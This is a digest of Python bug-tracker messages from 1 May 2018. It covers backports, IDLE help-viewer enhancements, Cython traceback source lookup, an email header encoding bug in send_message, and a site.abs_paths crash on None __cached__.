From report at bugs.python.org Tue May 1 00:06:03 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 01 May 2018 04:06:03 +0000 Subject: [issue31908] trace module cli does not write cover files In-Reply-To: <1509418506.94.0.213398074469.issue31908@psf.upfronthosting.co.za> Message-ID: <1525147563.36.0.682650639539.issue31908@psf.upfronthosting.co.za> miss-islington added the comment: New changeset e4eeb6eff12947a55df5eabee36e537cadefbbac by Miss Islington (bot) in branch '3.7': bpo-31908: Fix output of cover files for trace module command-line tool. (GH-4205) https://github.com/python/cpython/commit/e4eeb6eff12947a55df5eabee36e537cadefbbac ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 00:07:44 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 01 May 2018 04:07:44 +0000 Subject: [issue33396] IDLE: Improve and document help doc viewer Message-ID: <1525147664.58.0.682650639539.issue33396@psf.upfronthosting.co.za> New submission from Terry J. Reedy : The IDLE help doc viewer displays help.html in a tk Text subclass. This index issue follows #25198, which fixed three immediate issues, and left the following for later. When tackled, the items below should be separate issues and PRs listed as dependencies. 1. msg251181 Base font size on user config and control-mousewheel. 2. " " Make within-document html links in work in the viewer. 3. " " Make Find (^F) work within the viewer. 4. msg251571 Navigate with keys as in editor. 5. msg251556 Open TOC with Key (Esc?, F1?); enhance navigation. New items: 6. Add Help Doc Viewer doc to Help section. I prefer not adding a menu and see an entry as an alternative. 7. 1, 3, and 4 should try to avoid duplicating editor code. Perhaps we should enhance the plain text viewer and use it as a superclass for both base editor and html viewer. ---------- assignee: terry.reedy components: IDLE messages: 315982 nosy: csabella, terry.reedy priority: normal severity: normal status: open title: IDLE: Improve and document help doc viewer type: enhancement versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 00:32:56 2018 From: report at bugs.python.org (Matthias Bussonnier) Date: Tue, 01 May 2018 04:32:56 +0000 Subject: [issue28167] remove platform.linux_distribution() In-Reply-To: <1473933007.75.0.131793274646.issue28167@psf.upfronthosting.co.za> Message-ID: <1525149176.24.0.682650639539.issue28167@psf.upfronthosting.co.za> Matthias Bussonnier added the comment: In the docs it is marked as "going to be removed in 3.7", and emitting PendingDeprecationWarning. I supposed it should either be updated to change to 3.8 and switch PendingDeprecationWarning to DeprecationWarning, or be actually removed. ---------- nosy: +mbussonn _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 00:41:50 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 01 May 2018 04:41:50 +0000 Subject: [issue31908] trace module cli does not write cover files In-Reply-To: <1509418506.94.0.213398074469.issue31908@psf.upfronthosting.co.za> Message-ID: <1525149710.58.0.682650639539.issue31908@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6362 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 00:43:15 2018 From: report at bugs.python.org (Matthias Bussonnier) Date: Tue, 01 May 2018 04:43:15 +0000 Subject: [issue28167] remove platform.linux_distribution() In-Reply-To: <1473933007.75.0.131793274646.issue28167@psf.upfronthosting.co.za> Message-ID: <1525149795.5.0.682650639539.issue28167@psf.upfronthosting.co.za> Change by Matthias Bussonnier : ---------- keywords: +patch pull_requests: +6363 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 01:03:31 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 01 May 2018 05:03:31 +0000 Subject: [issue31908] trace module cli does not write cover files In-Reply-To: <1509418506.94.0.213398074469.issue31908@psf.upfronthosting.co.za> Message-ID: <1525151011.81.0.682650639539.issue31908@psf.upfronthosting.co.za> miss-islington added the comment: New changeset a607f8b9982ac95bb59f8f61e0a50fc5ae29dc14 by Miss Islington (bot) in branch '3.6': bpo-31908: Fix output of cover files for trace module command-line tool. (GH-4205) https://github.com/python/cpython/commit/a607f8b9982ac95bb59f8f61e0a50fc5ae29dc14 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 01:46:36 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 01 May 2018 05:46:36 +0000 Subject: [issue33397] IDLE help viewer: let users control font size Message-ID: <1525153596.77.0.682650639539.issue33397@psf.upfronthosting.co.za> New submission from Terry J. Reedy : Dependency of #33396. 1. Base the initial font sizes on the on the configured editor font size. Note that editor font size defaults to 10 while the current base size is 12. I did not find any explicit discussion of this in the original issue, #16893, or the first followup, #25198. Perhaps Mark Roseman just liked the result, or perhaps it made the relative sizing easier. 2. Change font size with Control-Mousewheel. Manually tested code for doing this on Windows, Linux, and MacOS is in turtledemo.__main__. The three systems are wildly different. What we do here should allow easily doing same for other text windows. ---------- assignee: terry.reedy components: IDLE messages: 315985 nosy: terry.reedy priority: normal severity: normal stage: patch review status: open title: IDLE help viewer: let users control font size type: enhancement versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 01:47:41 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 01 May 2018 05:47:41 +0000 Subject: [issue33397] IDLE help viewer: let users control font size In-Reply-To: <1525153596.77.0.682650639539.issue33397@psf.upfronthosting.co.za> Message-ID: <1525153661.52.0.682650639539.issue33397@psf.upfronthosting.co.za> Change by Terry J. Reedy : ---------- nosy: +csabella _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 01:47:53 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 01 May 2018 05:47:53 +0000 Subject: [issue33396] IDLE: Improve and document help doc viewer In-Reply-To: <1525147664.58.0.682650639539.issue33396@psf.upfronthosting.co.za> Message-ID: <1525153673.7.0.682650639539.issue33396@psf.upfronthosting.co.za> Change by Terry J. Reedy : ---------- dependencies: +IDLE help viewer: let users control font size _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 01:48:28 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Tue, 01 May 2018 05:48:28 +0000 Subject: [issue33397] IDLE help viewer: let users control font size In-Reply-To: <1525153596.77.0.682650639539.issue33397@psf.upfronthosting.co.za> Message-ID: <1525153708.96.0.682650639539.issue33397@psf.upfronthosting.co.za> Change by Cheryl Sabella : ---------- keywords: +patch pull_requests: +6364 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 01:56:33 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 01 May 2018 05:56:33 +0000 Subject: [issue25198] Idle: improve idle.html help viewer. In-Reply-To: <1442794067.12.0.0580996406415.issue25198@psf.upfronthosting.co.za> Message-ID: <1525154193.67.0.682650639539.issue25198@psf.upfronthosting.co.za> Terry J. Reedy added the comment: The files uploaded 2015-09-24 and 27 were merged later the same day. The merge in between on 2015-09-25 was shorter and not uploaded separately. I opened #33396 as an index issue for the other items and any new ones. I open #33397 for font sizing and changed the title of PR6665. ---------- resolution: -> fixed stage: needs patch -> resolved status: open -> closed superseder: -> IDLE: Improve and document help doc viewer versions: +Python 3.7, Python 3.8 -Python 3.4, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 01:57:09 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 01 May 2018 05:57:09 +0000 Subject: [issue33397] IDLE help viewer: let users control font size In-Reply-To: <1525153596.77.0.682650639539.issue33397@psf.upfronthosting.co.za> Message-ID: <1525154229.56.0.682650639539.issue33397@psf.upfronthosting.co.za> Terry J. Reedy added the comment: PR6665 should get listed here as I changed the title to point here instead of #25198 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 02:09:58 2018 From: report at bugs.python.org (lekma) Date: Tue, 01 May 2018 06:09:58 +0000 Subject: [issue33391] leak in set_symmetric_difference? In-Reply-To: <1525081362.63.0.682650639539.issue33391@psf.upfronthosting.co.za> Message-ID: <1525154998.71.0.682650639539.issue33391@psf.upfronthosting.co.za> Change by lekma : ---------- pull_requests: +6365 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 02:15:45 2018 From: report at bugs.python.org (lekma) Date: Tue, 01 May 2018 06:15:45 +0000 Subject: [issue33391] leak in set_symmetric_difference? In-Reply-To: <1525081362.63.0.682650639539.issue33391@psf.upfronthosting.co.za> Message-ID: <1525155345.87.0.682650639539.issue33391@psf.upfronthosting.co.za> lekma added the comment: > Good catch! Do you mind to create a pull request on GitHub? done ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 02:56:39 2018 From: report at bugs.python.org (Jeroen Demeyer) Date: Tue, 01 May 2018 06:56:39 +0000 Subject: [issue32797] Tracebacks from Cython modules no longer work In-Reply-To: <1518090924.55.0.467229070634.issue32797@psf.upfronthosting.co.za> Message-ID: <1525157799.84.0.682650639539.issue32797@psf.upfronthosting.co.za> Jeroen Demeyer added the comment: Since you are asking various "meta" questions, let me explain the wider context first. This bug report is coming from SageMath. Currently, SageMath only supports Python 2.7 but we are slowly and steadily porting it to Python 3. This bug is one of the many issues that we found while working on this port. It could very well be that SageMath is the only Cython project which *installs* the source code (although it would make sense to do that for all Cython projects once this bug is fixed). So the fact that nobody has complained before is simply because the only project that could hit this bug is running on Python 2 only. Also, people may be so used to not seeing Cython code in tracebacks that they don't question it. They may think that it's just a fact of life that it doesn't work. Concerning backporting to 3.y.z, that is not my decision to make. Of course, I would like to see this backported (it would be trivial to do that), but that should be decided by whoever accepts the pull request. In any case, I don't see why that should influence whether the patch should be accepted for 3.8. That seems to be putting things in the wrong order: first, the patch is applied to 3.8 and then we decide whether to backport it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 03:23:03 2018 From: report at bugs.python.org (Jeroen Demeyer) Date: Tue, 01 May 2018 07:23:03 +0000 Subject: [issue32797] Tracebacks from Cython modules no longer work In-Reply-To: <1518090924.55.0.467229070634.issue32797@psf.upfronthosting.co.za> Message-ID: <1525159383.12.0.682650639539.issue32797@psf.upfronthosting.co.za> Jeroen Demeyer added the comment: > But the standard library has no need to ever find source for extension modules > So there's no need for the stdlib to be involved The standard library is not a closed system. It's not meant to support only itself, it's supposed to be an API. If linecache.getlines() is the Python API to get source code, then Cython code should use that API. Having a different competing API for getting source code (for other projects like Cython) is really the worst possible solution: some tools will only use linecache, other tools will use the new API and this will be a mess. > Note that I haven't said it shouldn't be fixed, merely that I'm not as > convinced, having read this discussion, that having linecache do a path search > if the loader returns None is *necessarily* the best solution here. Do you have other proposals? Like I said, the only thing that I want is one officially supported way to have the loader answer to linecache "I don't know where the sources are but continue looking for them". > Ideally, of course, there would be a CythonExtensionLoader that handled this in get_source. That would be ideal solution indeed and it's the first thing that we tried to fix this. Unfortunately for Cython, PEP 302 (and in particular the get_source signature) was written with the assumption that a *single* module only has a *single* source file. This assumption doesn't hold for Cython code: like C, it supports include/declaration files which can contain code. So my conclusion is that loader.get_source() simply cannot work for Cython. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 05:25:36 2018 From: report at bugs.python.org (lekma) Date: Tue, 01 May 2018 09:25:36 +0000 Subject: [issue33391] leak in set_symmetric_difference? In-Reply-To: <1525081362.63.0.682650639539.issue33391@psf.upfronthosting.co.za> Message-ID: <1525166736.43.0.682650639539.issue33391@psf.upfronthosting.co.za> Change by lekma : ---------- pull_requests: +6366 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 05:26:36 2018 From: report at bugs.python.org (lekma) Date: Tue, 01 May 2018 09:26:36 +0000 Subject: [issue33391] leak in set_symmetric_difference? In-Reply-To: <1525081362.63.0.682650639539.issue33391@psf.upfronthosting.co.za> Message-ID: <1525166796.16.0.682650639539.issue33391@psf.upfronthosting.co.za> Change by lekma : ---------- pull_requests: +6367 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 05:47:20 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 01 May 2018 09:47:20 +0000 Subject: [issue33378] Add Korean to the language switcher In-Reply-To: <1524941433.04.0.682650639539.issue33378@psf.upfronthosting.co.za> Message-ID: <1525168040.12.0.682650639539.issue33378@psf.upfronthosting.co.za> miss-islington added the comment: New changeset dc5c92fcb2aafd7f133f9f6986d8d05ac6e5160f by Miss Islington (bot) in branch '3.6': bpo-33378: Add Korean to the language switcher. (GH-6627) https://github.com/python/cpython/commit/dc5c92fcb2aafd7f133f9f6986d8d05ac6e5160f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 05:48:23 2018 From: report at bugs.python.org (Julien Palard) Date: Tue, 01 May 2018 09:48:23 +0000 Subject: [issue33378] Add Korean to the language switcher In-Reply-To: <1524941433.04.0.682650639539.issue33378@psf.upfronthosting.co.za> Message-ID: <1525168103.27.0.682650639539.issue33378@psf.upfronthosting.co.za> Julien Palard added the comment: Backported to 3.6. ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 06:02:28 2018 From: report at bugs.python.org (Julien Palard) Date: Tue, 01 May 2018 10:02:28 +0000 Subject: [issue20709] os.utime(path_to_directory): wrong documentation for Windows. In-Reply-To: <1392937056.04.0.541478480244.issue20709@psf.upfronthosting.co.za> Message-ID: <1525168948.57.0.682650639539.issue20709@psf.upfronthosting.co.za> Julien Palard added the comment: New changeset 7508a54c77e85235e07e344cf9440e5b4695e9cc by Julien Palard (St?phane Wirtel) in branch 'master': bpo-20709: os.utime(path_to_directory): wrong documentation for Windows. (GH-5469) https://github.com/python/cpython/commit/7508a54c77e85235e07e344cf9440e5b4695e9cc ---------- nosy: +mdk _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 07:51:56 2018 From: report at bugs.python.org (Jens Troeger) Date: Tue, 01 May 2018 11:51:56 +0000 Subject: [issue33398] From, To, Cc lines break when calling send_message() Message-ID: <1525175516.34.0.682650639539.issue33398@psf.upfronthosting.co.za> New submission from Jens Troeger : It looks like non-ascii characters in an Address()?s display_name parameter cause their lines in the header to get mangled when the message is being sent. For example, a case to reproduce: >>> msg = EmailMessage() >>> msg["To"] = Address(display_name="Jens Tr?ger", addr_spec="jens.troeger at gmail.com") >>> msg["From"] = Address(display_name="Jens Troeger", addr_spec="jens.troeger at gmail.com") >>> msg.set_content("Some content.") >>> msg.as_string() 'To: Jens =?utf-8?q?Tr=C3=B6ger?= \nContent-Type: text/plain; charset="utf-8"\nContent-Transfer-Encoding: 7bit\nMIME-Version: 1.0\nFrom: Jens Troeger \n\nSome content.\n' Sending this email creates the following SMTP debug output: >>> smtpsrv = smtplib.SMTP("smtp.gmail.com:587") >>> ? >>> smtpsrv.send_message(msg) send: 'mail FROM: size=220\r\n' reply: b'250 2.1.0 OK z23sm16924622pfe.110 - gsmtp\r\n' reply: retcode (250); Msg: b'2.1.0 OK z23sm16924622pfe.110 - gsmtp' send: 'rcpt TO:\r\n' reply: b'250 2.1.5 OK z23sm16924622pfe.110 - gsmtp\r\n' reply: retcode (250); Msg: b'2.1.5 OK z23sm16924622pfe.110 - gsmtp' send: 'data\r\n' reply: b'354 Go ahead z23sm16924622pfe.110 - gsmtp\r\n' reply: retcode (354); Msg: b'Go ahead z23sm16924622pfe.110 - gsmtp' data: (354, b'Go ahead z23sm16924622pfe.110 - gsmtp') send: b'To: Jens =?utf-8?q?Tr=C3=B6ger?= \r\r\r\r\r\nContent-Type: text/plain; charset="utf-8"\r\nContent-Transfer- Encoding: 7bit\r\nMIME-Version: 1.0\r\nFrom: Jens Troeger \r\n\r\nSome content.\r\n.\r\n' reply: b'250 2.0.0 OK 1525174591 z23sm16924622pfe.110 - gsmtp\r\n' reply: retcode (250); Msg: b'2.0.0 OK 1525174591 z23sm16924622pfe.110 - gsmtp' data: (250, b'2.0.0 OK 1525174591 z23sm16924622pfe.110 - gsmtp') {} Notice the string of "\r\r\?" for the "To" field which consequently breaks off the remainder of the email?s header into a premature body: [?] Message-ID: <5ae8513e.17b9620a.eebf7.d56e at mx.google.com> Date: Tue, 01 May 2018 04:36:30 -0700 (PDT) From: jens.troeger at gmail.com To: Jens Tr?ger Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit MIME-Version: 1.0 From: Jens Troeger Some content. Also notice the two From fields. The first one, I suspect, is supplied from the SMTP server?s login, the second one from them EmailMessage. Without a From in the EmailMessage, I get the following error: >>> smtpsrv.send_message(msg) Traceback (most recent call last): File "", line 1, in File "/?/lib/python3.6/smtplib.py", line 936, in send_message from_addr = email.utils.getaddresses([from_addr])[0][1] File "/?/lib/python3.6/email/utils.py", line 112, in getaddresses all = COMMASPACE.join(fieldvalues) TypeError: sequence item 0: expected str instance, NoneType found Similar breakage of the header into premature body can be achieved with the Cc header field. ---------- components: email messages: 315994 nosy: _savage, barry, r.david.murray priority: normal severity: normal status: open title: From, To, Cc lines break when calling send_message() type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 09:45:07 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 01 May 2018 13:45:07 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1525182307.06.0.682650639539.issue20104@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset ef347535f289baad22c0601e12a36b2dcd155c3a by Serhiy Storchaka in branch 'master': bpo-20104: Improve error handling and fix a reference leak in os.posix_spawn(). (#6332) https://github.com/python/cpython/commit/ef347535f289baad22c0601e12a36b2dcd155c3a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 09:45:22 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 01 May 2018 13:45:22 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1525182322.02.0.682650639539.issue20104@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6368 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 09:59:29 2018 From: report at bugs.python.org (R. David Murray) Date: Tue, 01 May 2018 13:59:29 +0000 Subject: [issue33395] TypeError: unhashable type: 'instancemethod' In-Reply-To: <1525120791.11.0.682650639539.issue33395@psf.upfronthosting.co.za> Message-ID: <1525183169.94.0.682650639539.issue33395@psf.upfronthosting.co.za> R. David Murray added the comment: Ah, in the absence of a traceback I think I misunderstood the problem (I failed to actually look at the code :) Given what you say about the slotwrapper, I'm not sure, but I'm guessing that that means cython isn't using the PyInstanceMethod_Type as intended. That doesn't mean it can't be fixed (though if true it makes it less likely that we'll fix it, unfortunately), but you'll have to figure out what the difference is between how it is used by cython and cpython. I've nosied Christian, maybe he'll remember why the hash is commented out. ---------- nosy: +christian.heimes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 10:18:47 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 01 May 2018 14:18:47 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1525184327.43.0.682650639539.issue20104@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 77fa7835da0cb49d30ac5d4c32bf6eb71eae0742 by Miss Islington (bot) in branch '3.7': bpo-20104: Improve error handling and fix a reference leak in os.posix_spawn(). (GH-6332) https://github.com/python/cpython/commit/77fa7835da0cb49d30ac5d4c32bf6eb71eae0742 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 10:32:00 2018 From: report at bugs.python.org (Ned Deily) Date: Tue, 01 May 2018 14:32:00 +0000 Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za> Message-ID: <1525185120.79.0.682650639539.issue28055@psf.upfronthosting.co.za> Ned Deily added the comment: What's the status of this? It looks like Serhiy has reviewed and approved Dakon's PR 6123. Is everyone OK with merging it? Anything more needed? ---------- versions: +Python 3.8 -Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 10:40:20 2018 From: report at bugs.python.org (Ned Deily) Date: Tue, 01 May 2018 14:40:20 +0000 Subject: [issue33377] add new triplets for mips r6 and riscv variants In-Reply-To: <1524930346.47.0.682650639539.issue33377@psf.upfronthosting.co.za> Message-ID: <1525185620.94.0.682650639539.issue33377@psf.upfronthosting.co.za> Ned Deily added the comment: New changeset 0596f319020ad34010cbf98608021080ba2a1d4b by Ned Deily (Miss Islington (bot)) in branch '3.7': bpo-33377: add triplets for mips-r6 and riscv (GH-6655) (GH-6660) https://github.com/python/cpython/commit/0596f319020ad34010cbf98608021080ba2a1d4b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 10:40:50 2018 From: report at bugs.python.org (Ned Deily) Date: Tue, 01 May 2018 14:40:50 +0000 Subject: [issue33377] add new triplets for mips r6 and riscv variants In-Reply-To: <1524930346.47.0.682650639539.issue33377@psf.upfronthosting.co.za> Message-ID: <1525185650.08.0.682650639539.issue33377@psf.upfronthosting.co.za> Change by Ned Deily : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 11:19:52 2018 From: report at bugs.python.org (Stephan Hohe) Date: Tue, 01 May 2018 15:19:52 +0000 Subject: [issue32797] Tracebacks from Cython modules no longer work In-Reply-To: <1518090924.55.0.467229070634.issue32797@psf.upfronthosting.co.za> Message-ID: <1525187992.37.0.682650639539.issue32797@psf.upfronthosting.co.za> Stephan Hohe added the comment: How does CPython display the source for tracebacks in Cython modules? It seems to work there as long as the Cython .pyx files are somewhere in the import path. ---------- nosy: +sth _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 11:23:30 2018 From: report at bugs.python.org (Paul Moore) Date: Tue, 01 May 2018 15:23:30 +0000 Subject: [issue32797] Tracebacks from Cython modules no longer work In-Reply-To: <1525187992.37.0.682650639539.issue32797@psf.upfronthosting.co.za> Message-ID: Paul Moore added the comment: > How does CPython display the source for tracebacks in Cython modules? It seems to work there as long as the Cython .pyx files are somewhere in the import path. Is that in Python 3.x? The issue we're discussing is only in Python 3.3+ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 11:53:17 2018 From: report at bugs.python.org (Stephan Hohe) Date: Tue, 01 May 2018 15:53:17 +0000 Subject: [issue32797] Tracebacks from Cython modules no longer work In-Reply-To: <1518090924.55.0.467229070634.issue32797@psf.upfronthosting.co.za> Message-ID: <1525189997.48.0.682650639539.issue32797@psf.upfronthosting.co.za> Stephan Hohe added the comment: Yes, I tried the Python 3.5 that comes with my system as well as the latest checkout from github. Both show source code lines in tracebacks for me. I used a rather simple test setup, just two directories with .so and .pyx which I added to sys.path (any order seems to work). I haven't checked a proper install of an extension module via pip/... ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 11:57:50 2018 From: report at bugs.python.org (Siming Yuan) Date: Tue, 01 May 2018 15:57:50 +0000 Subject: [issue33395] TypeError: unhashable type: 'instancemethod' In-Reply-To: <1525120791.11.0.682650639539.issue33395@psf.upfronthosting.co.za> Message-ID: <1525190270.74.0.682650639539.issue33395@psf.upfronthosting.co.za> Siming Yuan added the comment: i just discovered cython v0.28 no longer creates instancemethod, so this bug should technically no longer show up after upgrading cython. (related cython bug https://github.com/cython/cython/pull/2105) so the question remains - is it a good idea to assume all type(obj).__repr__ is hashable? if so, we can close this bug. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 12:42:17 2018 From: report at bugs.python.org (R. David Murray) Date: Tue, 01 May 2018 16:42:17 +0000 Subject: [issue33395] TypeError: unhashable type: 'instancemethod' In-Reply-To: <1525120791.11.0.682650639539.issue33395@psf.upfronthosting.co.za> Message-ID: <1525192937.88.0.682650639539.issue33395@psf.upfronthosting.co.za> R. David Murray added the comment: Functions/methods should be immutable, so yes, I think it is a safe assumption that they should be hashable, and a bug if they are not. I seem to vaguely recall that there is some other part of the cpython machinery that depend on being able to test function/method equality and assumes that they are immutable, which implies they should be hashable. I'll close this; Christian can reopen it if he thinks there is an actual bug lurking here. ---------- resolution: -> third party stage: -> resolved status: open -> closed type: crash -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 13:09:18 2018 From: report at bugs.python.org (Paul Moore) Date: Tue, 01 May 2018 17:09:18 +0000 Subject: [issue32797] Tracebacks from Cython modules no longer work In-Reply-To: <1518090924.55.0.467229070634.issue32797@psf.upfronthosting.co.za> Message-ID: <1525194558.17.0.682650639539.issue32797@psf.upfronthosting.co.za> Paul Moore added the comment: That's interesting. It sounds like linecache might be working differently then. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 13:31:39 2018 From: report at bugs.python.org (Jeroen Demeyer) Date: Tue, 01 May 2018 17:31:39 +0000 Subject: [issue32797] Tracebacks from Cython modules no longer work In-Reply-To: <1518090924.55.0.467229070634.issue32797@psf.upfronthosting.co.za> Message-ID: <1525195899.75.0.682650639539.issue32797@psf.upfronthosting.co.za> Jeroen Demeyer added the comment: > How does CPython display the source for tracebacks in Cython modules? Do you mean the "python" command-line program? That uses a different algorithm: to find a file FOO, it searches [os.path.join(p, os.path.basename(FOO)) for p in sys.path] This is completely broken because it ignores all leading path components of FOO. So it will only work if your file is in the root of your package, not in a subdirectory. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 13:35:10 2018 From: report at bugs.python.org (Emily Morehouse) Date: Tue, 01 May 2018 17:35:10 +0000 Subject: [issue33392] pathlib .glob('*/') returns files as well as directories In-Reply-To: <1525094253.43.0.682650639539.issue33392@psf.upfronthosting.co.za> Message-ID: <1525196110.64.0.682650639539.issue33392@psf.upfronthosting.co.za> Emily Morehouse added the comment: Good find -- I agree that when using Path.cwd().glob('*/'), it should only return directories. This follows the original glob library's functionality as well as the Unix expectation (I believe Windows as well, but I'll double check). I'll work on a fix! ---------- assignee: -> emilyemorehouse nosy: +emilyemorehouse _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 13:56:11 2018 From: report at bugs.python.org (Demian Brecht) Date: Tue, 01 May 2018 17:56:11 +0000 Subject: [issue33399] site.abs_paths should handle None __cached__ type Message-ID: <1525197371.8.0.682650639539.issue33399@psf.upfronthosting.co.za> New submission from Demian Brecht : Echoing an email sent to python-list: I recently ran into an issue using the site package and I wanted to confirm that I'm not doing something wrong here before creating an issue: I have a need to `git subtree` modules into a Django project and then add the dependencies such that they're discoverable in code. I also need to have consistent behavior between `python setup.py (develop|install)` and `pip install -r requirements.txt` (the latter is used by Heroku for project installation). An example project that demonstrates the issue is here: https://github.com/demianbrecht/python-sitehooks-example. In the example, I've subtree'd requests into _vendor and forced site hooks to fire using `site.main()` in testme/settings.py: https://github.com/demianbrecht/python-sitehooks-example/commit/1b81e15c6f28bc80a4f984cffa78eb2ced80a320. Forcing the execution is not needed when the package is actually installed using setup.py, but is needed when using `pip install -r requirements.txt`. This works great when running within a virtualenv, but I get the following on system python: $ python3.6 ./manage.py test Traceback (most recent call last): File "./manage.py", line 22, in execute_from_command_line(sys.argv) File "/usr/local/lib/python3.6/site-packages/django/core/management/__init__.py", line 364, in execute_from_command_line utility.execute() File "/usr/local/lib/python3.6/site-packages/django/core/management/__init__.py", line 308, in execute settings.INSTALLED_APPS File "/usr/local/lib/python3.6/site-packages/django/conf/__init__.py", line 56, in __getattr__ self._setup(name) File "/usr/local/lib/python3.6/site-packages/django/conf/__init__.py", line 41, in _setup self._wrapped = Settings(settings_module) File "/usr/local/lib/python3.6/site-packages/django/conf/__init__.py", line 110, in __init__ mod = importlib.import_module(self.SETTINGS_MODULE) File "/usr/local/lib/python3.6/importlib/__init__.py", line 126, in import_module return _bootstrap._gcd_import(name[level:], package, level) File "", line 978, in _gcd_import File "", line 961, in _find_and_load File "", line 950, in _find_and_load_unlocked File "", line 655, in _load_unlocked File "", line 678, in exec_module File "", line 205, in _call_with_frames_removed File "///testme/testme/settings.py", line 13, in site.main() File "/usr/local/lib/python3.6/site.py", line 525, in main abs_paths() File "/usr/local/lib/python3.6/site.py", line 110, in abs_paths m.__cached__ = os.path.abspath(m.__cached__) File "/usr/local/lib/python3.6/posixpath.py", line 369, in abspath path = os.fspath(path) TypeError: expected str, bytes or os.PathLike object, not NoneType Using venv and system comparisons for debugging doesn't help much as site.py is different in the two environments. Any insight into what may be going on here or what I'm doing wrong would be much appreciated. I realize that I could just muck with PYTHONPATH, but I thought this approach would be a little nicer as it's transparent to the user. Digging a little deeper, it seems that site.abs_paths fails when a module's __cached__ value is None. I haven't spent enough time digging into it to understand why this is valid behavior, hoping to get some insight from folks who have spent more time on it. ---------- components: Library (Lib) messages: 316008 nosy: demian.brecht priority: normal severity: normal status: open title: site.abs_paths should handle None __cached__ type versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 13:57:41 2018 From: report at bugs.python.org (Demian Brecht) Date: Tue, 01 May 2018 17:57:41 +0000 Subject: [issue33399] site.abs_paths should handle None __cached__ type In-Reply-To: <1525197371.8.0.682650639539.issue33399@psf.upfronthosting.co.za> Message-ID: <1525197461.45.0.682650639539.issue33399@psf.upfronthosting.co.za> Change by Demian Brecht : ---------- keywords: +patch pull_requests: +6369 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 14:51:30 2018 From: report at bugs.python.org (robbuckley) Date: Tue, 01 May 2018 18:51:30 +0000 Subject: [issue33392] pathlib .glob('*/') returns files as well as directories In-Reply-To: <1525196110.64.0.682650639539.issue33392@psf.upfronthosting.co.za> Message-ID: robbuckley added the 